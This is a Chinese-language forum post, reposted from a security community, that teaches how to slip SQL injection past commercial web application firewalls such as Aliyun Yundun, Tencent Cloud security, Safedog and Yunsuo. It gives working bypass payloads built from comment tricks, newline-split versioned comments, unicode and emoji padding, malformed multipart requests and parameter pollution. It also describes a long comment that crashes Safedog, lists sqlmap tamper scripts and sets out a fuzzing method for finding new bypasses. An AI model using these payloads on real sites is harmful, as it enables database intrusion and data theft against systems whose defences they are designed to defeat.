原帖地址:https://xianzhi.aliyun.com/forum/read/349.html
0x00 前言
去年到現在就一直有人希望我出一篇關於waf繞過的文章,我覺得這種老生常 談的話題也沒什么可寫的。
很多人一遇到waf就發懵,不知如何是好,能搜到的各 種姿勢也是然並卵。
但是積累姿勢的過程也是迭代的,那么就有了此文,用來總 結一些學習和培養突破waf的思想。
可能總結的並不全,但目的並不是講那些網上 搜來一大把的東西,So…並不會告訴大家現有的姿勢,
而是突破Waf Bypass思維定勢達到獨立去挖掘waf的設計缺陷和如何實現自動化的Waf Bypass(這里只講主流 waf的黑盒測試)
0x01 搞起
當我們遇到一個waf時,要確定是什么類型的?先來看看主流的這些waf,狗、盾、神、鎖、寶、衛士等等。。。(在測試時不要只在官網測試,因為存在版本差異導致規則庫並不一致)
-
雲waf
在配置雲waf時(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在請求uri時,數據包就會先經過雲waf進行檢測,如果通過再將數據包流給主機。
-
主機防護軟件
在主機上預先安裝了這種防護軟件,可用於掃描和保護主機(廢話),和監聽web端口的流量是否有惡意的,所以這種從功能上講較為全面。這里再插一嘴,mod_security、ngx-lua-waf這類開源waf雖然看起來不錯,但是有個弱點就是升級的成本會高一些。
-
硬件ips/ids防護、硬件waf(這里先不講)
使用專門硬件防護設備的方式,當向主機請求時,會先將流量經過此設備進行流量清洗和攔截,如果通過再將數據包流給主機。
再來說明下某些潛規則(關系):
百度雲加速免費版節點基於CloudFlare
安全寶和百度雲加速規則庫相似
創宇雲安全和騰訊雲安全規則庫相似
騰訊雲安全和門神規則庫相似
硬件waf自身漏洞往往一大堆
當Rule相似時,會導致一個問題,就比如和雙胞胎結婚曉得吧?嗯。
0x02 司空見慣
我們還需要把各種特性都記牢,在運用時加以變化會很有效果。
-
數據庫特性
注釋:
#
--
-- -
--+
//
/**/
/*letmetest*/
;
利用注釋簡單繞過雲鎖的一個案例:
攔截的,但/**/ > 1個就可以繞過了,也就是/**//**/以上都可以。
科學記數法:
空白字符:
SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
+號:
-號:
``符號:
~號:
!號:
@`形式`:
點號.1:
單引號雙引號:
括號select(1):
試試union(select)雲盾會不會攔截
花括號:
這里舉一個雲盾的案例,並附上當時fuzz的過程:
union+select 攔截
select+from 不攔截
select+from+表名 攔截
union(select) 不攔截
所以可以不用在乎這個union了。
union(select user from ddd) 攔截
union(select%0aall) 不攔截
union(select%0aall user from ddd) 攔截
fuzz下select%0aall與字段之間 + 字段與from之間 + from與表名之間 + 表名與末尾圓括號之間可插入的符號。
union(select%0aall{user}from{ddd}) 不攔截。
Bypass Payload:
1 union(select%0aall{x users}from{x ddd})
1 union(select%0adistinct{x users}from{x ddd})
1 union(select%0adistinctrow{x users}from{x ddd})
可運用的sql函數&關鍵字:
MySQL:
union distinct
union distinctrow
procedure analyse()
updatexml()
extracavalue()
exp()
ceil()
atan()
sqrt()
floor()
ceiling()
tan()
rand()
sign()
greatest()
字符串截取函數
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)
字符串連接函數
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符轉換
Char(49)
Hex('a')
Unhex(61)
過濾了逗號
(1)limit處的逗號:
limit 1 offset 0
(2)字符串截取處的逗號
mid處的逗號:
mid(version() from 1 for 1)
MSSQL:
IS_SRVROLEMEMBER()
IS_MEMBER()
HAS_DBACCESS()
convert()
col_name()
object_id()
is_srvrolemember()
is_member()
字符串截取函數
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
(2)字符串轉換函數
Ascii('a') 這里的函數可以在括號之間添加空格的,一些waf過濾不嚴會導致bypass
Char('97')
exec
Mysql BIGINT數據類型構造溢出型報錯注入: BIGINT Overflow Error Based SQL Injectionhttp://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html
-
容器特性
%特性:
asp+iis的環境中,當我們請求的url中存在單一的百分號%時,iis+asp會將其忽略掉,而沒特殊要求的waf當然是不會的:
修復方式應該就是檢測這種百分號%的周圍是否能拼湊成惡意的關鍵字吧。
%u特性:
iis支持unicode的解析,當我們請求的url存在unicode字符串的話iis會自動將其轉換,但waf就不一定了:
修復過后:
這個特性還存在另一個case,就是多個widechar會有可能轉換為同一個字符。
s%u0065lect->select s%u00f0lect->select
WAF對%u0065會識別出這是e,組合成了select關鍵字,但有可能識別不出%u00f0
其實不止這個,還有很多類似的:
字母a: %u0000 %u0041 %u0061 %u00aa %u00e2 單引號: %u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7 空白: %u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0 左括號(: %u0028 %uff08 %c0%28 %c0%a8 %e0%80%a8 右括號): %u0029 %uff09 %c0%29 %c0%a9 %e0%80%a9
畸形協議&請求:
asp/asp.net:
還有asp/asp.net在解析請求的時候,允許application/x-www-form-urlencoded的數據提交方式,不管是GET還是POST,都可正常接收,過濾GET請求時如果沒有對application/x-www-form-urlencoded提交數據方式進行過濾,就會導致任意注入。
php+Apache:
waf通常會對請求進行嚴格的協議判斷,比如GET、POST等,但是apache解析協議時卻沒有那么嚴格,當我們將協議隨便定義時也是可以的:
PHP解析器在解析multipart請求的時候,它以逗號作為邊界,只取boundary,而普通解析器接受整個字符串。 因此,如果沒有按正確規范的話,就會出現這么一個狀況:首先填充無害的data,waf將其視為了一個整體請求,其實還包含着惡意語句。
------,xxxx Content-Disposition: form-data; name="img"; filename="img.gif" GIF89a ------ Content-Disposition: form-data; name="id" 1' union select null,null,flag,null from flag limit 1 offset 1-- - -------- ------,xxxx--
-
通用的特性:
HPP:
HPP是指HTTP參數污染-HTTP Parameter Pollution。當查詢字符串多次出現同一個key時,根據容器不同會得到不同的結果。
假設提交的參數即為:id=1&id=2&id=3
Asp.net + iis:id=1,2,3 Asp + iis:id=1,2,3 Php + apache:id=3
雙重編碼:
這個要視場景而定,如果確定一個帶有waf的site存在解碼后注入的漏洞的話,會有效避過waf。
unlencode base64 json binary querystring htmlencode unicode php serialize
我們在整體測試一個waf時,可測試的點都有哪些?
GET、POST、HEADER那么我們專門針對一個waf進行測試的時候就要將這幾個點全測試個遍,header中還包括Cookie、X-Forwarded-For等,往往除了GET以外其他都是過濾最弱的。
0x03 見招拆招
“正則逃逸大法”:或許大家沒聽說過這個名詞,因為是我起的。我發現很多waf在進行過濾新姿勢的時候很是一根筋,最簡單的比方,過濾了%23%0a卻不過濾%2d%2d%0a?上面提到八成的waf都被%23%0a所繞過。
科學計數法1union、1from?多次被坑的安全寶&百度雲加速&Imperva:
過濾了union+select+from,那我select+from+union呢?使用Mysql自定義變量的特性就可以實現,這里舉一個阿里雲盾的案例:
由於后面在調用自定義變量的時候需要用到union+select,所以還需要繞過這個點。/*ddd*/union/*ddd*/select 就可以了。
Bypass Payload:
如何做到通過推理繞過waf?這里舉一個騰訊雲安全的案例:
繞過思路: 首先看看騰訊雲安全怎么檢測sql注入的,怎么匹配關鍵字會被攔截,怎么匹配不會?
union+select攔截
select+from攔截
union+from不攔截
那么關鍵的點就是繞過這個select關鍵字
select all
select distinct
select distinctrow
既然這些都可以,再想想使用這樣的語句怎么不被檢測到?select與all中間肯定不能用普通的/**/這種代替空格,還是會被視為是union+select。select all可以這么表達/*!12345select all*/,騰訊雲早已識破這種爛大街的招式。嘗試了下/*!*/中間也可以使用%0a換行。
/*!12345%0aselect%20all*/還是會被攔截,這就說明騰訊雲在語法檢測的時候會忽略掉數字后面的%0a換行,雖然屬於union+12342select,但簡單的數字和關鍵字區分識別還是做得到。再測試/*!12345select%0aall*/,結果就合乎推理了,根據測試知道騰訊雲安全會忽略掉%0a換行,這就等於union+12345selectall, 不會被檢測到。(忽略掉%0a換行為了過濾反而可以用來加以利用進行Bypass)
可能會問,推理的依據並不能真正意義上證明忽略掉了%0a啊?當然要證明下啊,/*!12345%0aselect%0aall*/就被攔截了,說明剛開始檢測到12345%0aselect就不再檢測后方的了,union+12345select就已經可以攔截掉了。
還可能會問,既然忽略掉了%0a,那么/*!select%0aall*/是不是也可以啊,然而並不行。合理的推理很有必要。
Bypass Payload:
1' union/*!50000select%0aall*/username from users%23 1' union/*!50000select%0adistinct*/username from users%23 1' union/*!50000select%0adistinctrow*/username from users%23
不是繞不過狗,只是不夠細心:
union+select攔截。 select+from攔截。 union+from不攔截。 fuzz了下/*!50000select*/這個5位數,前兩位數<50 && 第二位!==0 && 后三位數==0即可bypass。(一點細節也不要放過。)
測試環境
Windows Server 2008 + APACHE + PHP + Mysql Bypass Payload: 1' union/*!23000select*/user,password from users%23
這里證明一個觀點:好姿勢不是死的,零零碎碎玩不轉的姿勢巧妙的結合一下。所以說一個姿勢被攔截不代表就少了一個姿勢。
0x04 別按套路出牌
雲鎖版本迭代導致的 & 360主機衛士一直存在的問題:
注意POST那個方向,waf在檢測POST傳輸的數據過程中,沒有進行URL的檢測,也就是說waf會認為URL上的任何參數信息都是正常的。既然是POST請求,那就只檢測請求正文咯。(神邏輯)
在標准HTTP處理流程中,只要后端有接收GET形式的查詢字段,即使客戶端用POST傳輸,查詢字符串上滿足查詢條件時,是會進行處理的。(沒毛病)
當waf成了宕機的罪魁禍首是什么樣的?舉一個安全狗的案例:
/*66666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666*/
注釋中包含超長查詢字符串,導致安全狗在識別的過程中掛掉了,連帶着整個機器Service Unavailable:
再舉一個雲鎖也是因為數據包過長導致繞過的案例:
雲鎖在開始檢測時先判斷包的大小是否為7250byte以下,n為填充包內容,設置n大小為2328時,可以正常訪問頁面,但是會提示攔截了SQL注入
當數據包超過2329時就可以成功繞過,2329長度以后的就不檢測了。?
0x05 猥瑣很重要
這里講個有意思的案例,並且是當時影響了安全寶、阿里雲盾的姿勢:
有次睡前想到的,emoji圖標!是的,平時做夢並沒有美女與野獸。當時只是隨便一想,第二天問了5up3rc,他說他也想過,但測試並沒有什么效果
emoji是一串unicode字集組成,一個emoji圖標占5個字節,mysq也支持emoji的存儲,在mysql下占四個字節:
既然在查詢的時候%23會忽略掉后面的,那么Emoji就可以插入到%23與%0A之間。再加多試了試,成功繞過了,200多個emoji圖標,只能多,但少一個都不行。。。
可能會說,這是因為超⻓查詢導致的繞過吧?並不是。
這么⻓,mysql也是會執行的:
我們再來測試阿里雲盾:
當縮少emoji數量的話會攔截,想想還是再加多些試試:
還是攔截,那剛才的沒攔截是怎么回事?點根煙,逐一進行排查。發現能繞過的原因和emoji數量無關,而是某個emoji可以。
就是這個憤怒的emoji,其他的emoji都不行。唯獨憤怒臉可以:
將這些emoji進行urlencode看看特征,究竟是什么原因?看看哪些emoji插入不會被攔截:
有些emoji進行urlencode后是很⻓的,因為是幾個emoji進行組合的。
將這些payload進行注入進去。
難道只有這個憤怒臉插入進去就可以繞過?也不能這么說,我發現能繞過的字符都是ascii碼超過了127的字符:
那為什么憤怒臉的emoji可以?這里提到emoji的特征,常⻅的emoji是四位組成,前三位多數是一致的,把這三位插入payload試試:
可以實現繞過,再來看看憤怒臉的urlencode:
最后一位是%a0,那么也就是說完全可以忽略掉最后一位,而多數emoji第四位是 ascii 127的字符,會導致waf引擎無法檢測。
0x06 自動化Bypass
首先總結下sqlmap的各種bypass waf tamper:
apostrophemask.py 用UTF-8全角字符替換單引號字符 apostrophenullencode.py 用非法雙字節unicode字符替換單引號字符 appendnullbyte.py 在payload末尾添加空字符編碼 base64encode.py 對給定的payload全部字符使用Base64編碼 between.py 分別用“NOT BETWEEN 0 AND #”替換大於號“>”,“BETWEEN # AND #”替換等於號“=” bluecoat.py 在SQL語句之后用有效的隨機空白符替換空格符,隨后用“LIKE”替換等於號“=” chardoubleencode.py 對給定的payload全部字符使用雙重URL編碼(不處理已經編碼的字符) charencode.py 對給定的payload全部字符使用URL編碼(不處理已經編碼的字符) charunicodeencode.py 對給定的payload的非編碼字符使用Unicode URL編碼(不處理已經編碼的字符) concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替換像“CONCAT(A, B)”的實例 equaltolike.py 用“LIKE”運算符替換全部等於號“=” greatest.py 用“GREATEST”函數替換大於號“>” halfversionedmorekeywords.py 在每個關鍵字之前添加MySQL注釋 ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替換像“IFNULL(A, B)”的實例 lowercase.py 用小寫值替換每個關鍵字字符 modsecurityversioned.py 用注釋包圍完整的查詢 modsecurityzeroversioned.py 用當中帶有數字零的注釋包圍完整的查詢 multiplespaces.py 在SQL關鍵字周圍添加多個空格 nonrecursivereplacement.py 用representations替換預定義SQL關鍵字,適用於過濾器 overlongutf8.py 轉換給定的payload當中的所有字符 percentage.py 在每個字符之前添加一個百分號 randomcase.py 隨機轉換每個關鍵字字符的大小寫 randomcomments.py 向SQL關鍵字中插入隨機注釋 securesphere.py 添加經過特殊構造的字符串 sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs space2comment.py 用“/**/”替換空格符 space2dash.py 用破折號注釋符“–”其次是一個隨機字符串和一個換行符替換空格符 space2hash.py 用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符 space2morehash.py 用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符 space2mssqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符 space2mssqlhash.py 用磅注釋符“#”其次是一個換行符替換空格符 space2mysqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符 space2mysqldash.py 用破折號注釋符“–”其次是一個換行符替換空格符 space2plus.py 用加號“+”替換空格符 space2randomblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符 unionalltounion.py 用“UNION SELECT”替換“UNION ALL SELECT” unmagicquotes.py 用一個多字節組合%bf%27和末尾通用注釋一起替換空格符 varnish.py 添加一個HTTP頭“X-originating-IP”來繞過WAF versionedkeywords.py 用MySQL注釋包圍每個非函數關鍵字 versionedmorekeywords.py 用MySQL注釋包圍每個關鍵字 xforwardedfor.py 添加一個偽造的HTTP頭“X-Forwarded-For”來繞過WAF
看起來很全,但有個缺點就是功能單一,靈活程度面對當今的主流waf來說很吃力了。
鑒於多數waf產品是使用Rule進行防護,那么這里也不提什么高大上的機器學習。就是簡單粗暴的fuzz。
去年黃登提到過建立有毒標示模型,根據這個模型將waf進行訓練。
我把每個sql關鍵字兩側可插入的點稱之為“位”,最基本的一句注入語句就有這些位:
假設有n個有毒標示 最基本的注入語句可以插入五個位 這五個位定義為a1,a2...a5 那么結果將會是多少呢?
這個是疊加的,關鍵字不止這些,稍微復雜一點的環境就會需要更多的關鍵字來注入,也就會需要fuzz更多的位。
還需要經過各種編碼過后,根據數據庫的樣式使用相應的特性和配合的函數等等。
當前幾個關鍵字達到繞過效果時,只需繼續fuzz后面幾個位即可。
還有就是傳輸過程中可測試的點:
因為當我們在傳輸的過程中導致的繞過往往是致命的,比如中間件的特性/缺陷,導致waf不能識別或者是在滿足特定條件下的欺騙了waf。
0x07 End
一寫起來就根本停不起來,后期決定出一系列waf繞過文,例如文件上傳、webshell防御、權限提升等Waf繞過。xss的bypass就算了,防不勝防…
- Author:Tr3jer_CongRong
- Blog:www.Thinkings.org
- Mail:Tr3jer@gmail.com